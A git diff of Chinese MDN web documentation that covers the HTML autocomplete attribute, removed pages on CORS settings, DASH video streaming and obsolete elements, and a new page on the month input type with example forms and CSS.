有关更多信息,请参见 {{HTMLElement("form")}} 中的{{htmlattrxref("autocomplete", "form")}}  属性。

- -
-

为了提供自动完成功能,用户代理可能需要<input>/<select>/<textarea> 元素才能:

- -
    -
  1. 具有 name 和/或 id 属性
  2. -
  3. 成为 <form>  的后代
  4. -
  5. 具有 {{HTMLElement("input/submit", "submit")}} 按钮的表单
  6. -
-
- -

价值

- -
-
"off"
-
浏览器不允许为此字段自动输入或选择一个值。 文档或应用程序可能提供其自己的自动完成功能,或者出于安全方面的考虑,要求不要自动输入该字段的值。 -
注意: 在大多数现代浏览器中, autocomplete 设置为 "off" 不会阻止密码管理器询问用户是否要保存用户名和密码信息,或者自动在网站的登录表单中填写这些值。 请参阅 the autocomplete attribute and login fields.
-
-
"on"
-
允许浏览器自动完成输入。 没有提供有关该字段中期望的数据类型的指导,因此浏览器可以使用自己的判断。
-
"name"
-
该字段期望该值是一个人的全名。 通常首选使用“名称”而不是将名称分解为各个组成部分,因为这样可以避免处理各种各样的人类名称及其结构。 但是,如果需要将名称分解为各个组成部分,则可以使用以下自动完成值: -
-
"honorific-prefix"
-
前缀或标题,例如“ Mrs.”,“ Mr.”,“ Miss”,“ Ms.”,“ Dr.”或“ Mlle.”。
-
"given-name"
-
给定的(或“名字”)名称。
-
"additional-name"
-
中间名。
-
"family-name"
-
姓氏(或“姓氏”)。
-
"honorific-suffix"
-
后缀,例如 "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV".
-
"nickname"
-
昵称或名称。
-
-
-
"email"
-
电子邮件地址。
-
"username"
-
用户名或帐户名。
-
"new-password"
-
新密码。 创建新帐户或更改密码时,应将其用于“输入新密码”或“确认新密码”字段,而不是通常出现的“输入当前密码”字段。 浏览器可以使用它来避免意外填写现有密码,并在创建安全密码时提供帮助(另请参见 Preventing autofilling with autocomplete="new-password").
-
"current-password"
-
用户的当前密码
-
"one-time-code"
-
用于验证用户身份的一次性代码。
-
"organization-title"
-
职务或组织内某人的职务,例如“高级技术作家”,“总裁”或“助理部队负责人”。
-
"organization"
-
公司或组织名称,例如“ Acme Widget Company”或“ American Girl Scouts of America”。
-
"street-address"
-
街道地址。 它可以是多行文本,应在第二个行政级别(通常是城市或城镇)内完全标识地址的位置,但不应包括城市名称,邮政编码或邮政编码或国家/地区名称。
-
"address-line1", "address-line2", "address-line3"
-
街道地址的每一行。 仅在还存在 "street-address" 的情况下,才应提供这些内容。.
-
"address-level4"
-
在具有四个级别的地址中,粒度最细的 {{anch("Administrative levels in addresses", "administrative level")}}。
-
"address-level3"
-
第三个 {{anch("Administrative levels in addresses", "administrative level")}}, 在具有至少三个管理级别的地址中。
-
"address-level2"
-
第二个 {{anch("Administrative levels in addresses", "administrative level")}}, 在地址中至少有两个。 在具有两个行政级别的国家/地区中,通常是地址所在的城市,城镇,村庄或其他地区。
-
"address-level1"
-
地址中的第一个 {{anch("Administrative levels in addresses", "administrative level")}} 。 通常是地址所在的省份。 在美国,这就是州。 在瑞士,行政区。 在英国,小镇。
- “国家”
-
"country"
-
国家代码。
-
"country-name"
-
一个国家的名字。
-
"postal-code"
-
邮政编码(在美国,这是邮政编码)。
-
"cc-name"
-
打印在付款工具(例如信用卡)上或与之关联的全名。 通常,使用全名字段比将名称分成多个部分更可取。
-
"cc-given-name"
-
在信用卡之类的付款工具上给出的给定(名字)名称。
-
"cc-additional-name"
-
付款工具或信用卡上的中间名。
-
"cc-family-name"
-
信用卡上的姓氏。
-
"cc-number"
-
信用卡号码或其他标识付款方式的号码,例如帐号。
-
"cc-exp"
-
付款方式的到期日期,通常为“ 月份 / 年份”或“ 月份 / 年份”形式。
-
"cc-exp-month"
-
付款方式到期的月份。
-
"cc-exp-year"
-
付款方式到期的年份。.
-
"cc-csc"
-
付款工具的安全码; 在信用卡上,这是信用卡背面的3位数验证码。
-
"cc-type"
-
付款方式的类型(例如“ Visa”或“ Master Card”)。
-
"transaction-currency"
-
进行交易的货币。
-
"transaction-amount"
-
以 "transaction-currency" 指定的货币表示的金额,用于支付形式。
-
"language"
-
作为有效的 BCP 47 语言标记提供的首选语言。
-
"bday"
-
出生日期,作为完整日期。
-
"bday-day"
-
出生日期的月份中的一天。
-
"bday-month"
-
出生日期的月份。
-
"bday-year"
-
出生日期的年份。
-
"sex"
-
性别身份(例如“女性”,“法法芬”,“男性”),不带换行符的自由格式文本。
-
"tel"
-
-

完整的电话号码,包括国家/地区代码。 如果您需要将电话号码分为几个部分,则可以将以下值用于这些字段:

- -
-
"tel-country-code"
-
国家/地区代码,例如美国,加拿大和北美其他地区以及加勒比海部分地区的“ 1”。
-
"tel-national"
-
不含国家/地区代码部分的完整电话号码,包括国家/地区内部前缀。 对于电话号码“ 1-855-555-6502”,该字段的值为“ 855-555-6502”。
-
"tel-area-code"
-
区号,如果适用,可应用任何国家或地区内部前缀。
-
"tel-local"
-
不带国家或地区代码的电话号码。 这可以进一步分为两部分,分别是具有交换号码的电话号码,然后是交换局中的号码。 对于电话号码“ 555-6502”, 对于“ 555”使用 "tel-local-prefix" ,对于"6502"使用  "tel-local-suffix" 。
-
-
-
"tel-extension"
-
电话号码中的电话分机代码,例如旅馆中的房间或套房号或公司中的办公室分机号。
-
"impp"
-
即时消息协议端点的URL,例如“ xmpp:username@example.net”。
-
"url"
-
URL,例如在给定表单中其他字段的上下文的情况下的主页或公司网站地址等。
-
"photo"
-
代表表单中其他字段中提供的个人,公司或联系信息的图像的URL。
-
- -

有关更多详细信息,请参见 WHATWG 标准。 

- -
-

注意: 与其他浏览器不同, autocomplete 属性还控制Firefox是否会跨页面加载保持— 是否在整个页面加载期间保持  <input> 元素, <textarea> 元素, 或整个 <form> 的动态禁用状态和(如果适用)动态检查状态。 持久性功能默认情况下处于启用状态。 将 autocomplete 属性的值设置为off 将禁用此功能。即使autocomplete 属性通常由于其type而不适用,也可以这样做。 参考 {{bug(654072)}}.

-
- -

例子

- -
<div>
-  <label for="cc-number">Enter your credit card number</label>
-  <input type="number" name="cc-number" id="cc-number" autocomplete="off">
-</div>
- -

地址的行政级别

- -

四个行政级别字段 (address-level1 到 address-level4) 以提高地址所在国家内的精确度的方式描述地址。每个国家都有自己的行政级别系统,在写地址时可以按不同的顺序排列。

- -

address-level1 始终代表最广泛的行政区划;它是地址中除国家名之外最不特定的部分。

- -

表单布局的灵活性

- -

鉴于不同的国家/地区以不同的方式写出地址,每个字段都位于地址内的不同位置,甚至完全是不同的字段集和数量,因此,如果可能的话,您的站点能够切换到预期的布局会很有帮助 由您的用户在提供地址输入表格时给出,并给出地址所在的国家/地区。

- -

变化

- -

每个行政级别的使用方式因国家/地区而异。 以下是一些示例; 这并不是详尽的清单。

- -

美国

- -

美国境内的典型家庭住址如下所示:

- -

大街432号
- Exampleville CA 95555

- -

在美国,地址中最不明确的部分是州,在这种情况下为“ CA”(美国邮政服务的正式缩写为“ California”)。 因此,address-level1 是状态,在这种情况下为“ CA”。

- -

地址的倒数第二个特定部分是城市或城镇名称,因此在此示例地址中, address-level2 为“ Exampleville”。

- -

美国地址不使用3级及更高级别。

- -

英国

- -

在英国,地址输入表单通常包含两个地址级别以及一个,两个或三个地址行,具体取决于地址。 完整的地址如下所示:

- -

Frogmarch街103号
- 上层包装
- 苏塞克斯
- TN99 8ZZ

- -

地址级别为:

- -
    -
  • address-level1: 在这种情况下,该县为“苏塞克斯”。
  • -
  • address-level2: 在这种情况下,城镇为“上层包装”。.
  • -
  • address-line1: 房屋/街道详情-“ Frogmarch 街道103号”
  • -
- -

邮政编码是分开的。 请注意,您实际上可以仅使用邮政编码和 address-line1 在英国成功发送邮件, 因此它们应该是唯一的必填项,但通常人们会提供更多详细信息。

- -

中国

- -

中国可以使用多达三个行政级别:省,市和区。

- -

技术指标

- - - - - - - - - - - - - - - - - - - - - -
规格状态评论
{{SpecName('HTML5.2', "sec-forms.html#autofilling-form-controls-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML5.2')}}
{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("html.global_attributes.autocomplete")}}

- -

另请详见

- -
    -
  • The {{htmlelement("input")}} 元素。
  • -
  • The {{htmlelement("select")}} 元素。
  • -
  • The {{htmlelement("textarea")}} 元素。
  • -
  • The {{htmlelement("form")}} 元素。
  • -
  • HTML 表单
  • -
  • 全球属性
  • -
diff --git a/files/zh-cn/web/html/cors_settings_attributes/index.html b/files/zh-cn/web/html/cors_settings_attributes/index.html deleted file mode 100644 index 9beb44e652..0000000000 --- a/files/zh-cn/web/html/cors_settings_attributes/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: CORS settings attributes -slug: Web/HTML/CORS_settings_attributes -tags: - - Advanced - - CORS - - HTML5 - - Security - - anonymous - - cdn - - crossorigin= - - img &video - - script &link -translation_of: Web/HTML/Attributes/crossorigin ---- -

在HTML5中,一些 HTML 元素提供了对 CORS 的支持, 例如 {{ HTMLElement("audio") }}、{{ HTMLElement("img") }}、{{ HTMLElement("link") }}、{{ HTMLElement("script") }} 和 {{ HTMLElement("video") }} 均有一个跨域属性 (crossOrigin property),它允许你配置元素获取数据的 CORS 请求。 

- -

The crossorigin content attribute on media elements is a CORS settings attribute.

- -

这些属性是枚举的,并具有以下可能的值:

- - - - - - - - - - - - - - - - - - - - -
关键字描述
anonymous对此元素的 CORS 请求将不设置凭据标志。
use-credentials对此元素的CORS请求将设置凭证标志;这意味着请求将提供凭据。
""设置一个空的值,如 crossorigincrossorigin="",和设置 anonymous 的效果一样。
- -

默认情况下(即未指定 crossOrigin 属性时),CORS 根本不会使用。如 Terminology section of the CORS specification 中的描述,在非同源情况下,设置 "anonymous" 关键字将不会通过 cookies,客户端 SSL 证书或 HTTP 认证交换用户凭据。

- -

即使是无效的关键字和空字符串也会被当作 anonymous 关键字使用。

- -

示例:使用 crossorigin 的 script 元素

- -

你可以使用下面的 {{HTMLElement("script")}} 元素告诉浏览器执行来自 https://example.com/example-framework.js 的脚本且不发送用户凭据。

- -
<script src="https://example.com/example-framework.js" crossorigin="anonymous"></script>
- -

示例:Webmanifest with credentials

- -

在获取需要用户凭据的 manifest 时,属性值必须设置为 use-credentials。即使是同源的情况。

- -
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials">
- -

Specifications

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{ CompatGeckoDesktop("8.0") }}11{{ CompatNo() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoDesktop("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("8.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}
{{ HTMLElement("video")}}{{ CompatUnknown() }}{{ CompatGeckoMobile("12.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

另请参阅

- - diff --git a/files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html b/files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html deleted file mode 100644 index aed7160371..0000000000 --- a/files/zh-cn/web/html/dash_adaptive_streaming_for_html_5_video/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: 为 HTML 5 视频提供的 DASH 自适应串流 -slug: Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video -tags: - - DASH - - HTML - - HTML5 - - 指南 - - 视频流 -translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video ---- -

经由 HTTP 的动态自适应串流(DASH)是一种自适应串流协议。 这意味着它使得视频串流能基于网络性能来调整比特率,以保证视频流畅播放。

- -

浏览器支持

- -

Firefox 21 包含了针对 HTM5 WebM 视频的 DASH 实现,但默认没有启用。可以通过在“about:config”里调整“media.dash.enabled”首选项来开启。

- -

Firefox 23 移除了针对 HTML5 WebM 视频的 DASH 实现。此功能将被 媒体源扩展 API(MSE) 的实现取代。MSE 可实现通过 JavaScript 库(例如 dash.js)来提供对 DASH 的支持。详情参见 Bug 778617

- -

使用 DASH - 服务端

- -

首先,您需要将WebM视频转换为带有不同比特率的随附视频文件的DASH清单。根据您的需求,启动从 ffmpeg.org 的 ffmpeg 程序,就可以使用 libvpx 和 libbvorbis 支持的 WebM 视频和音频(版本2.5以上,3.2.5版本已通过测试)。

- -

1. 使用现有的WebM文件创建一个音频文件和多个视频文件。

- -

例如:

- -

文件in.video可以是任何包含至少一个音频和一个视频流的容器,这些容器可以由ffmpeg解码,

- -

创建音频:

- -
ffmpeg -i in.video -vn -acodec libvorbis -ab 128k my_audio.webm
-
-
- -

创建不同的视频

- -
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=160:190 -b:v 250k video_160x90_250k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=320:180 -b:v 500k video_320x180_500k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
-
- -

或使用命令创建以上视频:

- -
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
--g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=160:190 -b:v 250k video_160x90_250k.webm \
--an -vf scale=320:180 -b:v 500k video_320x180_500k.webm \
--an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm \
--an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm \
--an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
- -

2. 创建清单文件

- -
ffmpeg \
-  -f webm_dash_manifest -i video_160x90_250k.webm \
-  -f webm_dash_manifest -i video_320x180_500k.webm \
-  -f webm_dash_manifest -i video_640x360_750k.webm \
-  -f webm_dash_manifest -i video_1280x720_1500k.webm \
-  -f webm_dash_manifest -i my_audio.webm \
-  -c copy \
-  -map 0 -map 1 -map 2 -map 3 -map 4 \
-  -f webm_dash_manifest \
-  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
-  my_video_manifest.mpd
- -

-map 参数对应输入文件的顺序(每个文件只对应一个参数)。-adaptation_sets 参数将它们分配给适配集;例如,以上命令创建一个包含 0,1,2,3 的视频集(0),而另一个(1)仅仅包含视频流 4 和音频流。

- -

将清单和相关的视频文件放在Web服务器或CDN上。 DASH通过HTTP来完成,因此只要您的HTTP服务器支持字节范围请求,并且DASH设置为使用 mimetype="application/dash+xml" 来支持 .mpd 文件即可。

- -

使用DASH-客户端

- -

您将需要修改网页,使其首先指向DASH清单,而不是直接指向特定的视频文件:

- -
<video>
-  <source src="movie.mpd">
-  <source src="movie.webm">
-  Your browser does not support the video tag.
-</video>
- -

如果浏览器支持DASH,则您的视频现在将自适应地流式传输。

- - - -

WebM DASH Specification at The WebM Project

- -

DASH Industry Forum

- -

WebM project description of how to create DASH files with FFMPEG

diff --git a/files/zh-cn/web/html/element/command/index.html b/files/zh-cn/web/html/element/command/index.html deleted file mode 100644 index 9d6a7c58fd..0000000000 --- a/files/zh-cn/web/html/element/command/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: command -slug: Web/HTML/Element/command -translation_of: Web/HTML/Element/command ---- -
-

已废弃

- -

此功能已过时。 虽然它可能仍然在某些浏览器中工作,但不鼓励使用它,因为它可能随时被删除。 尽量避免使用它。

-
- -
-

注意:command元素已经被{{Gecko("24.0")}}引擎移除以利于{{HTMLElement("menuitem")}}元素。Firefox从未支持command元素,并且在Firefox 24中删除了对{{domxref("HTMLCommandElement")}}DOM接口的实现。

-
- -

概述

- -

command元素用来表示一个用户可以调用的命令.

- -

使用规范

- - - - - - - - - - - - - - - - - - - - - - - - -
内容类别Flow content, phrasing content
是否允许有内容否, 它是一个空元素
标签遗漏必须有开始标签, 不可以有结束标签.
允许的父元素任何可以包含 phrasing content的元素.
规范文档HTML5, section 4.11.3
- -

属性

- -

和其他的HTML元素一样, 该元素支持全局属性.

- -
-
{{ htmlattrdef("checked") }}
-
表明该元素已被选择, 除非元素的type 属性是 checkbox 或radio,否则该属性必须被省略.
-
{{ htmlattrdef("disabled") }}
-
表明该command元素已经被禁用.
-
{{ htmlattrdef("icon") }}
-
用一张图片来显示该command元素.
-
{{ htmlattrdef("label") }}
-
该command元素的名称.用来显示给用户.
-
{{ htmlattrdef("radiogroup") }}
-
如果该元素的type属性为radio,则radiogroup属性用来表示这一组command元素的公用名称. 如果type属性不是radio,则radiogroup属性必须省略.
-
{{ htmlattrdef("type") }}
-
该属性用来表明command元素的类型,可以是下面三种值: -
    -
  • -

    command 或者为空,表示一个普通的command元素.

    -
  • -
  • -

    checkbox表明该command元素体现为一个复选框,可以来回切换选中状态.

    -
  • -
  • -

    radio 表明该command元素体现为一个单选按钮,可以来回切换选中状态.

    -
  • -
-
-
- -

DOM 接口

- -

该元素实现了HTMLCommandElement接口.

- -

例子

- -
<command type="command" label="Save" icon="icons/save.png" onclick="save()">
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

 

- -

{{ languages( { "en": "en/HTML/Element/command" } ) }}

diff --git a/files/zh-cn/web/html/element/element/index.html b/files/zh-cn/web/html/element/element/index.html deleted file mode 100644 index 4db9cb2471..0000000000 --- a/files/zh-cn/web/html/element/element/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: -slug: Web/HTML/Element/element -translation_of: Web/HTML/Element/element ---- -

{{obsolete_header}}

- -
-

Note: This element has been removed from the specification. See this for more information from the editor of the specification.

-
- -

简介

- -

<element>元素被定义在最新的 HTML DOM 元素中。

- - - - - - - - - - - - - - - - - - - - - - - - -
Content categoriesTransparent content.
Permitted content???
Tag omission{{no_tag_omission}}
Permitted parent elements???
DOM interface{{domxref("HTMLElement")}}
- -

属性

- -

这个元素只有全局属性

- -

示例

- -

Text goes here.

- -
More text goes here.
-
- -

规范

- -

<element>元素以前位于自定义元素的草稿规范中,但已被删除

- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另请参阅

- -
    -
  • Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("template")}}
  • -
- -
{{HTMLRef}}
diff --git a/files/zh-cn/web/html/element/input/month/index.html b/files/zh-cn/web/html/element/input/month/index.html new file mode 100644 index 0000000000..9a2fbb6f2a --- /dev/null +++ b/files/zh-cn/web/html/element/input/month/index.html @@ -0,0 +1,457 @@ +--- +title: +slug: Web/HTML/Element/Input/月份 +tags: + - HTML + - Input + - 表单 +translation_of: Web/HTML/Element/input/month +--- +

{{HTMLRef}}

+ +

类型为 month 的 {{htmlelement("input")}} 可以让你容易地创建一个方便输入年份或月份的一个 {{htmlelement("input")}}。

+ +
{{EmbedInteractiveExample("pages/tabbed/input-month.html", "tabbed-shorter")}}
+ + + +

这个控件在各个浏览器支持都不同,目前是支持部分浏览器。在桌面上支持情况为 Chrome/Opera 和 Edge 。在移动端支持大部分现代浏览器。在其他浏览器中,这个控件会被优雅的降级到<input type="text">.

+ +

对于那些使用不支持的浏览器的用户,Chrome / Opera月份控制如下图所示。单击右侧的向下箭头会显示日期选择器,以便您选择日期;你必须手动输入时间。

+ +

+ +

Edge的 month 看起来像这样的:

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + +
{{anch("Value")}}一个 {{domxref("DOMString")}} 代表一个月,一年,或者是空。
Events{{event("change")}} 和 {{event("input")}}.
Supported Common Attributes{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, 和 {{htmlattrxref("step", "input")}}.
IDL attributesvalue.
Methods{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.
+ +

Value

+ +

{{domxref("DOMString")}} 表示输入输入的月份和年份的值, in the form YYYY-MM (four or more digit year, then a hyphen ("-"), followed by the two-digit month). The format of the month string used by this input type is described in {{SectionOnPage("/en-US/docs/Web/HTML/Date_and_time_formats", "Format of a valid local month string")}}.

+ +

你可以设置一个默认的属性值插入到 {{htmlattrxref("value", "input")}} 里, 像这样:

+ +
<label for="bday-month">What month were you both in?</label>
+<input id="bday-month" type="month" name="bday-month" value="2017-06">
+ +

{{EmbedLiveSample('value-example-1', 600, 60)}}

+ +

需要注意的是显示的如期格式不同于实际的value — 日期显示的格式将根据用户的操作系统的时区设置, 而时间的格式通常会格式化为 yyyy-MM

+ +

在向服务器提交上述值的时候他们看起来像这样:bday-month=1978-06.

+ +

你也可以使用JavaScript 的 {{domxref("HTMLInputElement.value")}} 来设置日期的值 。例如:

+ +
var monthControl = document.querySelector('input[type="month"]');
+monthControl.value = '1978-06';
+ +

{{EmbedLiveSample("value-example-2", 600, 60)}}

+ +

 

+ +

Additional attributes

+ +

In addition to the attributes common to {{HTMLElement("input")}} elements, month inputs offer the following attributes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
AttributeDescription
{{anch("max")}}The latest year and month to accept as a valid input
{{anch("min")}}The earliest year and month to accept as a valid input
{{anch("readonly")}}A Boolean which, if present, indicates that the input's value can't be edited
{{anch("step")}}A stepping interval to use when incrementing and decrementing the value of the input field
+ +

{{htmlattrdef("max")}}

+ +

The latest year and month, in the string format discussed in the {{anch("Value")}} section above, to accept. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a valid string in "yyyy-MM" format, then the element has no maximum value.

+ +

This value must specify a year-month pairing later than or equal to the one specified by the min attribute.

+ +

{{htmlattrdef("min")}}

+ +

The latest year and month to accept, in the same "yyyy-MM" format described above. If the {{htmlattrxref("value", "input")}} of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid year and month string, the input has no minimum value.

+ +

This value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute.

+ +

{{htmlattrdef("readonly")}}

+ +

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from JavaScript code that directly sets the value of the {{domxref("HTMLInputElement.value")}} property.

+ +
+

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+ +

{{htmlattrdef("step")}}

+ +

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

+ +

For month inputs, the value of step is given in months, with a scaling factor of 1 (since the underlying numeric value is also in months). The default value of step is 1 month.

+ +

 

+ +

Using month inputs

+ +

与日期相关的输入乍一看很方便,它们提供了一个简单的用户界面来选择日期,并且它们将发送到服务器的数据格式规范化,而不考虑用户的本地环境。但是, 由于浏览器支持有限,所以这个 <input type="month">还是存在兼容性问题。

+ +

我们在往下看更多关于<input type="month">基础和更多的高级的用法

+ +

, 下面将讲有关缓解浏览器支持问题的建议 (请参阅{{anch("Handling browser support")}}).

+ +

Basic uses of month

+ +

最简单的<input type="month"> 涉及到基础的 <input> 和 {{htmlelement("label")}} 的元素组合, 像下面这样:

+ +
<form>
+  <label for="bday-month">What month were you both in?</label>
+  <input id="bday-month" type="month" name="bday-month">
+</form>
+ +

{{ EmbedLiveSample('Basic_uses_of_month', 600, 40) }}

+ +

设置最长和最短日期

+ +

你可以使用{{htmlattrxref("min", "input")}} 和 {{htmlattrxref("max", "input")}} 属性 来限制用户选择日期. 在下列的例子中我们设置最小月份1900-01 最大月份到 2017-08:

+ +
<form>
+  <label for="bday-month">What month were you both in?</label>
+  <input id="bday-month" type="month" name="bday-month"
+         min="1900-01" max="2017-08">
+</form>
+ +

{{ EmbedLiveSample('Setting_maximum_and_minimum_dates', 600, 40) }}

+ +

结果是这样:

+ +
    +
  • 月份只有在2017年八月份到1900年一月可以选择 — 在这个控件里这个范围以外的月份不能滚动选择。
  • +
  • Depending on what browser you are using, you might find that times outside the specified values might not be selectable in the time picker (e.g. Edge), or invalid (see {{anch("Validation")}}) but still available (e.g. Chrome).
  • +
+ +
+

Note: You should be able to use the {{htmlattrxref("step", "input")}} attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make Saturdays selectable). However, this does not seem to work effectively in any implementation at the time of writing.

+
+ +

Controlling input size

+ +

<input type="month"> doesn't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to CSS for sizing needs.

+ +

Validation

+ +

By default, <input type="month"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still not fill in a date and submit, or enter an invalid date (e.g. the 32th of April).

+ +

You can use {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} to restrict the available dates (see anch("Setting maximum and minimum dates")), and in addition use the {{htmlattrxref("required", "input")}} attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field.

+ +

Let's look at an example — here we've set minimum and maximum dates, and also made the field required:

+ +
<form>
+  <div>
+    <label for="month">What Month would you like to visit us? (Summer months only.)</label>
+    <input id="month" type="month" name="month"
+           min="2017-06" max="2017-09" required>
+    <span class="validity"></span>
+  </div>
+  <div>
+      <input type="submit" value="Submit form">
+  </div>
+</form>
+ +

If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

+ +

{{ EmbedLiveSample('Validation', 600, 120) }}

+ +

Here's'a screenshot for those of you who aren't using a supporting browser:

+ +

+ +

Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

+ +
div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}
+ +
+

Important: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

+
+ +

Handling browser support

+ +

As mentioned above, the major problem with using date inputs at the time of writing is browser support — only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the month picker on Chrome for Android looks like this:

+ +

+ +

Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

+ +

The second problem is the most serious — as we mentioned earlier, with a month input the actual value is always normalized to the format yyyy-mm. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there multiple ways in which people write dates, for example:

+ +
    +
  • mmyyyy
  • +
  • mm/yyyy
  • +
  • mm-yyyy
  • +
  • yyyy-mm
  • +
  • etc.
  • +
+ +

One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your month input. Even though the month input doesn't use it, the text input fallback will. For example, try viewing the following demo in a non-supporting browser:

+ +
<form>
+  <div>
+    <label for="month">What Month would you like to visit us? (Summer months only, yyyy-mm)</label>
+    <input id="month" type="month" name="month"
+           min="2017-06" max="2017-09" required
+           pattern="[0-9]{4}-[0-9]{2}">
+    <span class="validity"></span>
+  </div>
+  <div>
+      <input type="submit" value="Submit form">
+  </div>
+</form>
+ +

